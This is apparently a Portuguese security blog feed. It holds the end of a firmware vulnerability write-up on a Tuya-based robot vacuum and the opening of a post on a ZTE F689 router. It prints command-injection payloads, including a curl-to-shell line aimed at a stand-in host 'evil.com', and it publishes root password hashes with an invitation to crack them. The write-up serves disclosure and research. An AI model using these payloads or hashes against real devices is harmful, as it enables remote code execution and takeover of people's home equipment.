<pre><code class="language-plaintext">__printf_chk        (printf hardened pelo FORTIFY)
__snprintf_chk      (snprintf hardened)
__sprintf_chk       (sprintf hardened)
__vsnprintf_chk     (vsnprintf hardened)
</code></pre>
<p>O fluxo é:</p>
<pre><code class="language-plaintext">Dados do usuário com %n
  -&gt; passados como format string
__printf_chk() ou __vsnprintf_chk()
  -&gt; detecta %n em segmento writable
  -&gt; glibc chama abort()
SIGABRT
  -&gt; process crash
system_monitor detecta
  -&gt; restart automático (~260 ms)
</code></pre>
<p><strong>Implicação.</strong> A vulnerabilidade de format string é real, dados do usuário SÃO o format string. Mas a primitiva de escrita (<code>%n</code>) está bloqueada pelo FORTIFY. O impacto confirmado é DoS: crash repetível, automático, via rede. RCE via <code>%n</code> por esta via específica é improvável.</p>
<h3>Vetor de ataque</h3>
<p>O dpid 127 é acessível via Tuya MQTT (internet). Qualquer usuário do app com acesso ao dispositivo (PR:L, precisa de conta Tuya vinculada) pode enviar payloads arbitrários pro dpid 127. Cada <code>%n</code> causa crash, e o daemon reinicia em ~260 ms. Enviando payloads mais rápido que o ciclo de restart, um atacante mantém DoS persistente. O robô fica inacessível, não responde a comandos, perde conectividade.</p>
<h3>CVSS</h3>
<p><code>AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H = 6.5</code></p>
<ul>
<li><p><strong>AV:N.</strong> Acessível pela internet via MQTT Tuya.</p>
</li>
<li><p><strong>AC:L.</strong> Trivial, o payload é uma string JSON.</p>
</li>
<li><p><strong>PR:L.</strong> Precisa de conta Tuya com acesso ao dispositivo.</p>
</li>
<li><p><strong>UI:N.</strong> Sem interação do usuário necessária.</p>
</li>
<li><p><strong>C:N/I:N.</strong> FORTIFY bloqueia a primitiva de escrita, sem leak e sem modificação confirmados.</p>
</li>
<li><p><strong>A:H.</strong> Crash completo do processo, repetível.</p>
</li>
</ul>
<hr />
<h2>9. VD-02: Injeção de Comando OS via WiFi SSID/Password</h2>
<p><strong>CWE:</strong> CWE-78 (Improper Neutralization of Special Elements used in an OS Command) <strong>Confiança:</strong> STRONGLY INFERRED, evidência de strings + imports + script independente; disassembly bloqueado pelo NFTL <strong>CVSS 3.1:</strong> 7.1 (<code>AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N</code>)</p>
<h3>Contexto</h3>
<p>Quando o app Tuya configura o WiFi do robô, ele envia SSID e senha via protocolo LAN Tuya (porta 6668). O robô recebe esses valores, interpola num comando shell e executa via <code>system()</code>.</p>
<h3>Evidência no binário (network_proxy_2)</h3>
<p>As strings seguintes foram encontradas no rodata do binário principal, em offsets múltiplos (5+ cópias NFTL):</p>
<pre><code class="language-plaintext">Offset 0xae2264: "wifi_control.cpp"
Offset 0xae22c8: "called %s, ssid %s, pwd %s"
Offset 0xae2328: "wifi pwd is less than 8 char"
Offset 0xae2348: "wifi pwd is more than 64 char"
Offset 0xae2368: "WifiControl::Connect2Ap over(bg exec)"
Offset 0xae242c: sh /data/bin/cleanpack_mode -m sta -s "%s" -p "%s"
Offset 0xae2498: sh /data/bin/cleanpack_mode -m sta -s "%s" -p "%s" --segment="%s" --hide="%d"
Offset 0xae254c: "wifi cmd %s"
Offset 0xae25e0: "WifiControl::ResetWifi,cmd [%s]"
</code></pre>
<p>O padrão é clássico:</p>
<ol>
<li><p>A função <code>WifiControl::Connect2Ap</code> recebe SSID e senha.</p>
</li>
<li><p>Valida apenas o comprimento da senha (8 a 64 caracteres), sem filtro de caracteres.</p>
</li>
<li><p>Interpola via <code>snprintf</code> no template <code>sh /data/bin/cleanpack_mode -m sta -s "%s" -p "%s"</code>.</p>
</li>
<li><p>Loga o comando construído como <code>"wifi cmd %s"</code>.</p>
</li>
<li><p>Passa pra <code>system()</code>.</p>
</li>
</ol>
<p>A tabela de imports confirma: <code>system()</code> presente no PLT, <code>__snprintf_chk</code> presente. Sem imports de <code>exec*</code> ou <code>posix_spawn</code>. Sem strings de sanitização no binário inteiro.</p>
<h3>Evidência no script cleanpack_mode (dump offset 0x48cfc09)</h3>
<p>O script shell que recebe o comando confirma a ausência de sanitização:</p>
<pre><code class="language-sh">-s | --ssid)
    AP_STA_SSID=$2    # atribuição direta, sem filtro
    shift 2
    ;;
</code></pre>
<p>Usado depois como:</p>
<pre><code class="language-sh">/data/bin/ap_client "$AP_STA_SSID" "$AP_STA_PWD"
echo "$AP_STA_SSID" &gt;/data/cfg/ap_name
sh /data/bin/apDemo --ssid="$AP_STA_SSID" ...
</code></pre>
<p>As aspas duplas em torno de <code>$AP_STA_SSID</code> não previnem injeção de comando. Em shell, <code>"$var"</code> previne word splitting e globbing, mas não previne substituição de comando (<code>$(cmd)</code>) nem a quebra de aspas se o valor contém <code>"</code>.</p>
<h3>Mecanismo de injeção</h3>
<p>O format string C coloca SSID e senha entre aspas duplas: <code>-s "%s" -p "%s"</code>. Uma aspa dupla no valor quebra a delimitação:</p>
<pre><code class="language-plaintext">Senha:     12345678"; id; echo "
Comando:   sh /data/bin/cleanpack_mode -m sta -s "SSID" -p "12345678"; id; echo ""
Shell vê:  cleanpack_mode (com -p "12345678"), depois id, depois echo ""
</code></pre>
<h3>O campo de senha como vetor preferido</h3>
<p>O SSID tem limitação de 32 bytes pelo padrão IEEE 802.11, provavelmente enforced pelo <code>wpa_supplicant</code> downstream. Mas a senha tem validação explícita de 8 a 64 caracteres no código, e nenhuma validação de conteúdo. Um payload de 21 caracteres como <code>12345678"; id; echo "</code> satisfaz o requisito de comprimento mínimo e injeta comando arbitrário. A senha oferece até 64 caracteres de espaço pra payload, mais que suficiente pra <code>$(curl evil|sh)</code>.</p>
<h3>Classificação de evidência</h3>
<table>
<thead>
<tr>
<th>Claim</th>
<th>Status</th>
</tr>
</thead>
<tbody><tr>
<td>Format string com %s não-sanitizado pra SSID/senha</td>
<td><strong>PROVEN</strong>, 5+ duplicatas NFTL</td>
</tr>
<tr>
<td>Única validação é comprimento da senha</td>
<td><strong>PROVEN</strong>, sem strings de filtro</td>
</tr>
<tr>
<td>system() é o único mecanismo de execução</td>
<td><strong>PROVEN</strong>, tabela de imports</td>
</tr>
<tr>
<td>cleanpack_mode recebe SSID sem sanitização</td>
<td><strong>PROVEN</strong>, script fonte</td>
</tr>
<tr>
<td>snprintf alimenta system()</td>
<td><strong>STRONGLY INFERRED</strong>, rodata + imports</td>
</tr>
<tr>
<td>App Tuya filtra caracteres especiais</td>
<td><strong>UNKNOWN</strong>, não verificável sem teste</td>
</tr>
</tbody></table>
<h3>Caveats</h3>
<ul>
<li><p>A cadeia <code>snprintf -&gt; system()</code> é inferida pela sequência de rodata e imports, não por trace de instruções ARM. A mesma limitação do NFTL.</p>
</li>
<li><p>O app Tuya ou o SDK podem filtrar caracteres especiais do SSID/senha antes de enviar. Isso mitigaria o vetor via app, mas não via API LAN direta.</p>
</li>
<li><p>O vetor é rede adjacente (LAN, porta 6668). Durante o modo AP de pareamento, não é necessário o <code>localKey</code> Tuya, e qualquer dispositivo na rede pode enviar comandos.</p>
</li>
</ul>
<h3>CVSS</h3>
<p><code>AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N = 7.1</code></p>
<ul>
<li><p><strong>AV:A.</strong> Adjacência LAN ou proximidade em AP-mode.</p>
</li>
<li><p><strong>PR:L.</strong> Precisa do <code>localKey</code> Tuya, exceto durante pareamento.</p>
</li>
<li><p><strong>C:H/I:H.</strong> Se a injeção executa, é root shell no device.</p>
</li>
</ul>
<hr />
<h2>10. VD-03: Injeção de Comando OS via Nome de Pacote de Voz</h2>
<p><strong>CWE:</strong> CWE-78 (Improper Neutralization of Special Elements used in an OS Command) <strong>Confiança:</strong> STRONGLY INFERRED, evidência de strings + script independente + imports; disassembly bloqueado pelo NFTL <strong>CVSS 3.1:</strong> 8.1 (<code>AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H</code>)</p>
<h3>Contexto</h3>
<p>O robô suporta pacotes de voz customizáveis, frases em diferentes idiomas pra anunciar status ("limpeza iniciada", "voltando pra base", etc.). Os pacotes são baixados via MQTT da nuvem Tuya, verificados apenas com MD5, e o nome/ID do pacote é interpolado sem sanitização em comandos <code>rm</code>, <code>tar</code>, <code>cp</code> e <code>mv</code> que são passados pra <code>system()</code>.</p>
<h3>Evidência na biblioteca de voz (~100 KB, ELF dinâmico)</h3>
<pre><code class="language-plaintext">Offset 0xa018: rm -rf %s/%s &amp;&amp; tar -zxf %s/%s -C %s &amp;&amp; cp %s/Q001.mp3 %s/
Offset 0x9fc4: "mv voice package to save cmd is"
Offset 0xa0bc: "voicd package apply cmd: %s"    (o typo 'voicd' é do binário original)
Offset 0xa0e8: "mv  package to tmp cmd is: %s"
Offset 0xa054: network_proxy_2/src/logic/voice_package.cpp
Offset 0xa208: {"voip_cur" : "%s"}
</code></pre>
<p>O fluxo de dados:</p>
<pre><code class="language-plaintext">Tuya Cloud (MQTT 8883/TLS ou 1883/plaintext)
  -&gt; comando "downloadAndApply" com metadata do pacote de voz
VoicePackageBase::DownloadFileCheckAndApply()
  source: network_proxy_2/src/base/voice_package_base.cpp
  -&gt; download pra /tmp/voip_tmp
HttpsBase::DownloadAndCheck()
  verificação: MD5 only (sem assinatura)
  -&gt; move pra /userdata/cfg/music/sys/&lt;pkg_id&gt;
voice_package.cpp, construção do comando shell:
  rm -rf %s/%s &amp;&amp; tar -zxf %s/%s -C %s &amp;&amp; cp %s/Q001.mp3 %s/
  logado como: "voicd package apply cmd: %s"
  -&gt; system()
Execução como root
</code></pre>
<h3>Verificação de download: só MD5</h3>
<pre><code class="language-plaintext">Offset 0xc844: "DownloadAndCheck, %s url is &gt; %s : md5sum is &gt; %s"
Offset 0xc96c: "DownLoadAndCheck md5 success"
Offset 0xc98c: "DownLoadAndCheck md5 error! should be:%s now:%s"
</code></pre>
<p>Sem RSA, ECDSA, Ed25519 ou qualquer string relacionada a assinatura criptográfica no path de verificação. MD5 verifica integridade contra corrupção de rede, não autenticidade. Um atacante que controle o conteúdo da resposta pode fornecer qualquer pacote com MD5 válido.</p>
<h3>Confirmação independente: script de boot (dump offset 0xa1bc00)</h3>
<p>Um script de boot separado, que não faz parte do binário <code>network_proxy_2</code>, lê o config do pacote de voz e usa o ID diretamente em tar:</p>
<pre><code class="language-sh">musicId=$(cat /userdata/cfg/music_cfg | grep voip_cur | awk -F'"' '{print $4}')
tar -zxf "/userdata/cfg/music/$musicId" -C /userdata/music
</code></pre>
<p>O <code>$musicId</code> vem do arquivo <code>music_cfg</code>, que é escrito pelo <code>voice_package.cpp</code> após download: <code>{"voip_cur" : "%s"}</code> (offset 0xa208). Essa é uma confirmação independente, um code path completamente separado que consome o mesmo dado sem sanitização.</p>
<p><strong>Restrição do awk.</strong> O <code>awk -F'"' '{print $4}'</code> usa aspas duplas como delimitador. Isso significa que o <code>musicId</code> não pode conter aspas duplas (elas quebrariam a extração do campo). Mas <code>$(curl evil.com/s.sh | sh)</code> não contém aspas duplas e funciona perfeitamente como substituição de comando em shell.</p>
<h3>Mecanismo de injeção</h3>
<p>Se o ID do pacote de voz contém metacaracteres shell:</p>
<pre><code class="language-plaintext">Package ID:  x; curl http://evil.com/s.sh | sh; echo
Resultado:   rm -rf /userdata/cfg/music/sys/x; curl http://evil.com/s.sh | sh; echo &amp;&amp; tar ...
Shell vê:    rm, depois curl|sh (payload do atacante), depois echo
</code></pre>
<h3>Vetor de ataque</h3>
<p><strong>Primário.</strong> Compromisso de conta Tuya cloud ou acesso à API de desenvolvedor. O metadata do pacote de voz (incluindo o ID usado como nome de arquivo) vem da nuvem Tuya. Se um atacante controla a resposta MQTT, controla o ID do pacote.</p>
<p><strong>Secundário.</strong> MITM no fallback plaintext. O MQTT primário usa TLS na porta 8883, mas existe fallback HTTP em <code>http://a.tuyacn.com:80/d.json</code> e MQTT plaintext na porta 1883. Nesses paths, um MITM pode injetar metadata de pacote.</p>
<h3>Classificação de evidência</h3>
<table>
<thead>
<tr>
<th>Claim</th>
<th>Status</th>
</tr>
</thead>
<tbody><tr>
<td>Format string shell com 7 %s não-sanitizados</td>
<td><strong>PROVEN</strong>, offset 0xa018</td>
</tr>
<tr>
<td>system() é o único mecanismo de exec</td>
<td><strong>PROVEN</strong>, tabela de imports</td>
</tr>
<tr>
<td>Download verifica só MD5</td>
<td><strong>PROVEN</strong>, sem strings de assinatura</td>
</tr>
<tr>
<td>Script independente usa pkg_id sem sanitização</td>
<td><strong>PROVEN</strong>, script em dump 0xa1bc00</td>
</tr>
<tr>
<td>Nenhuma função de sanitização no binário</td>
<td><strong>PROVEN</strong>, grep zero resultados</td>
</tr>
<tr>
<td>snprintf alimenta system()</td>
<td><strong>STRONGLY INFERRED</strong>, log + imports</td>
</tr>
<tr>
<td>ID do pacote chega ao format string</td>
<td><strong>STRONGLY INFERRED</strong>, sem filtro visível</td>
</tr>
<tr>
<td>Cloud Tuya valida IDs de pacote</td>
<td><strong>UNKNOWN</strong>, não verificável</td>
</tr>
</tbody></table>
<h3>CVSS</h3>
<p><code>AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H = 8.1</code></p>
<ul>
<li><p><strong>AV:N.</strong> Acessível via cloud MQTT.</p>
</li>
<li><p><strong>AC:H.</strong> Requer comprometimento de conta cloud ou posição MITM.</p>
</li>
<li><p><strong>PR:N.</strong> Sem autenticação device-side pra pacotes OTA.</p>
</li>
<li><p><strong>C:H/I:H/A:H.</strong> Root shell no device.</p>
</li>
</ul>
<hr />
<h2>11. Hashes de Senha Root</h2>
<p>No dump NAND, encontrei entradas de <code>/etc/shadow</code> com hashes MD5crypt ($1$). São três hashes distintos, provavelmente de diferentes partições ou snapshots de filesystem dentro do NFTL:</p>
<pre><code class="language-plaintext">root:$1$Ch3Jcvh9$2Q5Xng4bPbNnsQfTQpgcY.:0:0:99999:7:::
root:$1$JgO2yeod$HMMdc31757YjIEIeeARyQ/:0:0:99999:7:::
guest:$1$AzV2bLNj$GzHUVc2WOXyfiA6gWVkRF/:0:0:99999:7:::
</code></pre>
<p>MD5crypt. <code>$1$</code>. O algoritmo mais fraco que ainda aparece em sistemas Linux modernos. SHA-512crypt (<code>$6$</code>) é o padrão desde 2008. SHA-256crypt (<code>$5$</code>) é aceitável. MD5crypt é breakável por força bruta a taxas de milhões de tentativas por segundo em GPU moderna.</p>
<p>Duas hashes diferentes pra root sugerem que a senha foi alterada entre builds de firmware, ou que há múltiplos filesystems na NAND (partição ativa, partição de fallback, snapshot). O hash do guest confirma o que eu já sabia, conta com senha fraca ou vazia.</p>
<p>Não consegui quebrar os hashes do root com wordlists padrão (<code>rockyou.txt</code>, <code>SecLists/Passwords</code>). A senha não é trivial, o que é consistente com a observação de que o vendor não usou senhas-padrão genéricas. Mas MD5crypt com salt de 8 caracteres não resiste a um ataque focado com hashcat em GPU. É questão de tempo e compute.</p>
<p>Deixo os hashes aqui pra quem estiver "feeeling lucky". Se alguém quebrar, a recompensa é root completo no console UART de qualquer LR852K que tenha esse firmware.</p>
<hr />
<h2>12. Caminho para Confirmação Completa</h2>
<p>As duas vulnerabilidades de injeção de comando (VD-02 e VD-03) estão classificadas como STRONGLY INFERRED porque a cadeia <code>snprintf -&gt; system()</code> não pôde ser verificada por trace de instruções ARM. A causa é o NFTL, que embaralha as páginas de código.</p>
<p>Existem dois caminhos pra converter de INFERRED pra CONFIRMED:</p>
<ol>
<li><p><strong>Dump com OOB data.</strong> Dumpar a NAND incluindo os dados out-of-band (spare area de 128 bytes por página) no formato que o <code>ubireader</code> espera. Isso permitiria reconstruir o mapeamento lógico-físico do NFTL e montar o filesystem UBIFS, extraindo binários limpos pra disassembly completa.</p>
</li>
<li><p><code>dd</code> <strong>no device vivo.</strong> Se alguém obtiver root (por bruteforce do hash MD5crypt, por exploit serial ou por outra via), um simples <code>dd if=/dev/mtdblockX of=/tmp/partition.bin</code> extrairia as partições com mapeamento lógico já resolvido pelo kernel. Os ELFs sairiam limpos.</p>
</li>
</ol>
<p>VD-01 (format string) já é CONFIRMED, com crashes documentados por logs do NAND e padrão inequívoco de comportamento.</p>
<hr />
<h2>13. Reflexões</h2>
<h3>O modelo de ameaça de verdade</h3>
<p>Alguém pode olhar pra isso e perguntar: "mas por que caralhos alguém iria pegar meu robô e fazer um dump complicado?". É uma pergunta válida, e a resposta é que as vulnerabilidades sérias (VD-01, VD-02, VD-03) não exigem acesso físico ao robô.</p>
<p>VD-01 é um DoS pela internet, qualquer pessoa com acesso à conta Tuya do dispositivo pode crashar o daemon de rede remotamente, repetidamente. VD-02 é injeção de comando pela rede local, durante o pareamento WiFi ou com o <code>localKey</code> Tuya. VD-03 é injeção de comando pela internet, via comprometimento da nuvem Tuya ou MITM no fallback plaintext.</p>
<p>O dump físico foi o método de descoberta, não o método de ataque. Eu precisei extrair o firmware pra encontrar as vulnerabilidades. Um atacante não precisa do firmware pra explorá-las.</p>
<h3>Aspirador conectado é um computador Linux na sua rede</h3>
<p>Um robô aspirador conectado é um computador Linux com root rodando na sua rede doméstica, com microfone (em alguns modelos), câmera (em modelos com navegação visual) e mapeamento detalhado da planta da sua casa. Ele sabe o layout dos seus cômodos, sabe quando você está em casa (baseado em agendamento e sensores) e mantém uma conexão persistente com um servidor na internet.</p>
<p>O mercado de IoT doméstico trata segurança como feature opcional. O fato de que a LDRobot compilou com FORTIFY_SOURCE e colocou uma senha não-trivial no root já coloca esse dispositivo acima da média do segmento, e mesmo assim encontrei três vulnerabilidades, duas delas com injeção de comando direta.</p>
<h3>A maldição do NFTL</h3>
<p>A maior frustração dessa pesquisa foi o NFTL. Em todos os roteadores que analisei antes (ZTE F689, TP-Link RE305), o firmware era extraível limpo, NOR flash com filesystem SquashFS direto, ou NAND com layout previsível. O Allwinner NFTL é uma camada de complexidade que impede análise estática profunda a partir do dump bruto.</p>
<p>Ironicamente, o NFTL não é uma medida de segurança. Ele existe pra wear leveling e bad block management, necessidades operacionais da NAND flash. Mas o efeito colateral é que funciona como uma forma acidental de ofuscação. Strings são legíveis, mas fluxo de controle não. É o suficiente pra encontrar vulnerabilidades por padrão de strings, mas não o suficiente pra confirmar com certeza absoluta via disassembly.</p>
<h3>O ecossistema Tuya</h3>
<p>Tuya é a plataforma IoT que roda por baixo de centenas de marcas white-label. O SDK Tuya (versão 4.3.1 neste dispositivo) fornece conectividade MQTT, protocolo LAN, OTA update e gerenciamento de data points. A exposição não é específica da LDRobot. Qualquer dispositivo usando o Tuya SDK com padrão semelhante de construção de comandos shell sem sanitização está potencialmente vulnerável.</p>
<p>A ausência de assinatura criptográfica nos pacotes de voz (VD-03) é uma decisão do SDK ou do fabricante. MD5 é verificação de integridade, não de autenticidade. Qualquer pipeline de update que use MD5 como única verificação está a uma posição de MITM de distância da execução de código arbitrário.</p>
<hr />
<h2>Apêndice A. Sumário dos Achados</h2>
<table>
<thead>
<tr>
<th>ID</th>
<th>Título</th>
<th>CWE</th>
<th>CVSS 3.1</th>
<th>Confiança</th>
</tr>
</thead>
<tbody><tr>
<td>VD-01</td>
<td>Format String em Tuya dpid 127 (DoS)</td>
<td>CWE-134</td>
<td>6.5 Medium</td>
<td>CONFIRMED</td>
</tr>
<tr>
<td>VD-02</td>
<td>Command Injection via WiFi SSID/Password</td>
<td>CWE-78</td>
<td>7.1 High</td>
<td>STRONGLY INFERRED</td>
</tr>
<tr>
<td>VD-03</td>
<td>Command Injection via Voice Package Filename</td>
<td>CWE-78</td>
<td>8.1 High</td>
<td>STRONGLY INFERRED</td>
</tr>
</tbody></table>
<h2>Apêndice B. Binários Analisados</h2>
<pre><code class="language-plaintext">network_proxy_2 (~1.9 MB, ELF dinâmico ARM)
  - daemon principal de rede e Tuya SDK
  - imports: system(), __printf_chk, __snprintf_chk, __sprintf_chk,
    __vsnprintf_chk, __memcpy_chk, __strcpy_chk, __stack_chk_fail
  - afetado por: VD-01, VD-02

voice package library (~100 KB, ELF dinâmico ARM)
  - biblioteca de gerenciamento de pacotes de voz
  - source: network_proxy_2/src/logic/voice_package.cpp
  - imports: system(), __snprintf_chk, __memcpy_chk, __stack_chk_fail
  - afetado por: VD-03

CleanPackApp (~540 KB, ELF estático ARM)
  - aplicação principal do robô (orquestração)
  - contém strings de "downloadAndApply", "getVoicePackageInfo"
  - afetado por: VD-03 (orquestração de download)

cleanpack_mode (shell script)
  - script de configuração WiFi/AP
  - recebe SSID sem sanitização
  - afetado por: VD-02
</code></pre>
<h2>Apêndice C. Ferramentas Utilizadas</h2>
<table>
<thead>
<tr>
<th>Ferramenta</th>
<th>Uso</th>
</tr>
</thead>
<tbody><tr>
<td>SNANDer + CH341A</td>
<td>Dump da SPI NAND (XT26G01CWSIG) via SPI</td>
</tr>
<tr>
<td>Flipper Zero em Modo Bridge (fancy, não tenho um USB UART)</td>
<td>Acesso serial ao console UART (115200 8N1)</td>
</tr>
<tr>
<td>tio</td>
<td>Terminal serial com logging</td>
</tr>
<tr>
<td>strings + grep</td>
<td>Análise de rodata e scripts embarcados</td>
</tr>
<tr>
<td>readelf</td>
<td>Headers e import tables dos ELFs extraídos</td>
</tr>
<tr>
<td>hexdump / xxd</td>
<td>Inspeção binária de offsets específicos</td>
</tr>
<tr>
<td>Python (pyserial)</td>
<td>Scripts de extração, fuzzing de dpids, automação</td>
</tr>
<tr>
<td>Radare2</td>
<td>Tentativa de disassembly (limitada pelo NFTL)</td>
</tr>
<tr>
<td>hashcat</td>
<td>Tentativa de bruteforce dos hashes MD5crypt</td>
</tr>
<tr>
<td>Ferro de solda (ponta fina)</td>
<td>Soldagem in-circuit nos pads WSON8</td>
</tr>
<tr>
<td>Lupa / microscópio</td>
<td>Inspeção visual das soldas e dos pads</td>
</tr>
</tbody></table>
<h2>Apêndice D. Dump SHA256</h2>
<pre><code class="language-plaintext">SHA256 (dump.bin)  = 00ea975770c88095c2c780b02b3b675879ef104078cf41e14647a43c12c08fa8
SHA256 (dump2.bin) = 00ea975770c88095c2c780b02b3b675879ef104078cf41e14647a43c12c08fa8
</code></pre>
<p>128 MB (134.217.728 bytes). Dois dumps independentes, checksums idênticos.</p>
]]></content:encoded></item><item><title><![CDATA[Vulnerabilidades no Roteador do Meu Provedor: Uma Análise Profunda do Firmware do ZTE ZXHN F689 V9]]></title><description><![CDATA[CVE IDs: CVE-2026-49005, CVE-2026-49006, CVE-2026-49007, CVE-2026-49008Dispositivo: ZTE ZXHN F689 V9, firmware GUI_F689_2G_SIP_V9.0.10P4N10, provedor Claro Brasil

1. Introdução
Eu não comecei essa pe]]></description><link>https://t1m3rev.hashnode.dev/vulnerabilidades-no-roteador-do-meu-provedor-uma-an-lise-profunda-do-firmware-do-zte-zxhn-f689-v9</link><guid isPermaLink="true">https://t1m3rev.hashnode.dev/vulnerabilidades-no-roteador-do-meu-provedor-uma-an-lise-profunda-do-firmware-do-zte-zxhn-f689-v9</guid><dc:creator><![CDATA[Viktor Mota]]></dc:creator><pubDate>Fri, 07 Aug 2026 16:17:25 GMT</pubDate><content:encoded><![CDATA[<p><strong>CVE IDs:</strong> CVE-2026-49005, CVE-2026-49006, CVE-2026-49007, CVE-2026-49008<br /><strong>Dispositivo:</strong> ZTE ZXHN F689 V9, firmware <code>GUI_F689_2G_SIP_V9.0.10P4N10</code>, provedor Claro Brasil</p>
<hr />
<h2>1. Introdução</h2>
<p>Eu não comecei essa pesquisa querendo encontrar vinte e cinco vulnerabilidades no meu roteador. Eu só queria habilitar o modo bridge.</p>
<p>Sou assinante de fibra da Claro e, como muita gente que se importa com a infraestrutura da própria rede, queria colocar a ONT fornecida pelo provedor em modo bridge e rodar o meu próprio roteador atrás dela. Pedido simples. Só que o ZTE ZXHN F689 V9 que a Claro distribui não permite fazer isso, a opção ou está escondida ou está completamente desativada na interface web. E a conta de administrador que teoricamente teria acesso a essa configuração? Desabilitada no nível do provedor.</p>
<p>Então eu fiz o que qualquer pessoa razoável faria: comecei a cutucar.</p>
<p>Meu plano inicial era simples. Eu tinha visto que existe uma ferramenta da comunidade , <a href="https://github.com/mkst/zte-config-utility">zte-config-utility</a> , que consegue descriptografar e re-criptografar os arquivos <code>config.bin</code> de backup que o roteador exporta. A ideia era direta: exportar o backup, descriptografar pra <code>config.xml</code>, achar a configuração do modo admin, alterar, re-criptografar e fazer upload de volta. Limpo. Sem precisar "hackear" nada.</p>
<p>Quase funcionou. A descriptografia funcionou perfeitamente , o <code>config.xml</code> saiu como XML em texto claro, com toda a configuração do roteador em plaintext, incluindo credenciais que eu nem sabia que existiam. Fiz minhas alterações, re-criptografei, fiz upload do backup. O roteador aceitou. Por uns trinta segundos eu achei que tinha conseguido.</p>
<p>Aí o TR-069 entrou em ação.</p>
<p>O ACS da Claro (Auto-Configuration Server) , a infraestrutura que os provedores usam pra gerenciar dispositivos CPE remotamente , empurrou uma configuração nova em segundos, sobrescrevendo tudo que eu tinha mudado. O pipeline TR-069 gerenciado pelo provedor tinha poder de veto sobre qualquer alteração local que eu fizesse. Fim de jogo.</p>
<p>Mas nesse ponto eu já estava olhando pro <code>config.xml</code> e vendo coisas que me fizeram parar e pensar. Credenciais. Várias contas. Senhas em texto claro. Um arquivo de configuração de 353KB com mais estrutura do que eu esperava. Comecei a fazer perguntas. Como a autenticação realmente funciona? O que esse firmware faz internamente? O que tem naqueles arquivos criptografados que eu vejo no sistema de arquivos?</p>
<p>O que se seguiu foram meses de engenharia reversa de firmware que revelaram vinte e cinco vulnerabilidades distintas: um stack overflow pré-autenticado com RCE como root, credenciais hardcoded para mais de dez ISPs em doze países, chaves criptográficas compartilhadas, um ACS TR-069 sem autenticação, dois caminhos de command injection, autenticação agnóstica ao username, um hash de senha root exposto, um certificado TLS compartilhado, derivações de credencial via GPON SN e MAC, e uma injeção no tcpdump. Várias delas se encadeiam formando um caminho completo de comprometimento remoto sem nenhuma interação do usuário.</p>
<p>Este é o relato de como eu encontrei cada uma.</p>
<hr />
<h2>2. Visão Geral do Dispositivo</h2>
<p>O ZTE ZXHN F689 V9 é uma ONT GPON (Optical Network Terminal) , aquela caixa que fica entre a sua rede doméstica e a infraestrutura de fibra do seu provedor. Não é só um roteador; é o ponto de demarcação entre a sua LAN e a rede óptica do ISP. No Brasil, a Claro distribui o equipamento como uma unidade tudo-em-um: faz conversão óptica-ethernet, roda uma stack completa de roteador/NAT, provê WiFi e gerencia serviços VoIP.</p>
<p>Do ponto de vista de segurança, essa classe de dispositivo é particularmente interessante por algumas razões.</p>
<p>Primeiro, <strong>o provedor é mais dono do aparelho do que você.</strong> O protocolo TR-069 CWMP dá ao provedor um canal persistente de gerência remota direto dentro do seu dispositivo. Eles podem ler configuração, aplicar mudanças e, em algumas implementações, fazer push de firmware novo , tudo sem nenhuma interação sua. Seu "roteador" é, na prática, infraestrutura compartilhada que por acaso mora na sua casa.</p>
<p>Segundo, <strong>ele está sempre ligado e sempre conectado à internet por design.</strong> Diferente de um NAS ou de um laptop que pode estar desligado ou protegido por firewall, uma ONT é o próprio endpoint de rede. Se você compromete a ONT, você está posicionado entre o assinante e a internet.</p>
<p>Terceiro, <strong>o mesmo binário de firmware roda em todo dispositivo desse modelo.</strong> A ZTE entrega uma imagem única de firmware pra todos os assinantes Claro que têm a F689 V9. Qualquer vulnerabilidade que eu encontre no binário está presente em todos esses dispositivos simultaneamente. Não existe aleatorização por dispositivo de chaves, não existe derivação de credenciais por dispositivo na maior parte dos casos , as credenciais geralmente são literalmente a mesma string em todos os aparelhos.</p>
<p>A superfície de ataque que eu estava olhando não era um dispositivo. Eram todos os assinantes da Claro Brasil rodando esse hardware.</p>
<hr />
<h2>3. Reconhecimento Inicial e Aquisição do Firmware</h2>
<h3>Obtendo o Firmware</h3>
<p>Meu primeiro instinto foi olhar pra o que eu já tinha. O <code>config.xml</code> que veio da descriptografia do backup continha uma tabela chamada <code>DownloadList</code> que descrevia a última atualização de firmware que o dispositivo tinha recebido via TR-069:</p>
<pre><code class="language-xml">&lt;Tbl name="DownloadList" RowCount="1"&gt;
  &lt;Row No="0"&gt;
    &lt;DM name="FileType" val="1 Firmware Upgrade Image"/&gt;
    &lt;DM name="URL" val="http://IPV6_CLARO/GUI_F689_2G_SIP_V9.0.10P4N10_UPGRADE_BOOTLDR.bin"/&gt;
    &lt;DM name="TargetFileName" val="GUI_F689_2G_SIP_V9.0.10P4N10_UPGRADE_BOOTLDR.bin"/&gt;
    &lt;DM name="State" val="1"/&gt;
  &lt;/Row&gt;
&lt;/Tbl&gt;
</code></pre>
<p>O firmware estava sendo servido sobre HTTP puro, a partir do que parece ser um endereço IPv6 interno do provedor, sem nenhuma autenticação. Bastou pedir:</p>
<pre><code class="language-bash">curl http://IPV6_CLARO/GUI_F689_2G_SIP_V9.0.10P4N10_UPGRADE_BOOTLDR.bin \
     -o firmware.bin
</code></pre>
<p>28,6 MB. Sem TLS. Sem token. Sem header de autenticação. Qualquer pessoa na rede IPv6 do provedor podia baixar isso.</p>
<h3>Extraindo o Sistema de Arquivos</h3>
<p>Com o firmware em mãos, a extração foi direta. O <code>binwalk</code> identificou e extraiu um sistema de arquivos JFFS2:</p>
<pre><code class="language-bash">binwalk -eMq firmware.bin
# _firmware.extracted/
#   20000.jffs2
#   jffs2-root/        ← o filesystem montado
#     bin/
#     etc/
#     home/httpd/       ← raiz do servidor web
#     lib/
#     usr/
</code></pre>
<p>A estrutura do filesystem estava limpa e bem organizada, o que na prática facilitou bastante a análise. A raiz do servidor web ficava em <code>home/httpd/</code>, o binário principal do daemon era <code>bin/cspd</code>, e havia uma árvore paralela em <code>home/httpd/thinklua/</code> contendo a lógica Lua do lado-servidor da interface web.</p>
<h3>Primeiras Impressões</h3>
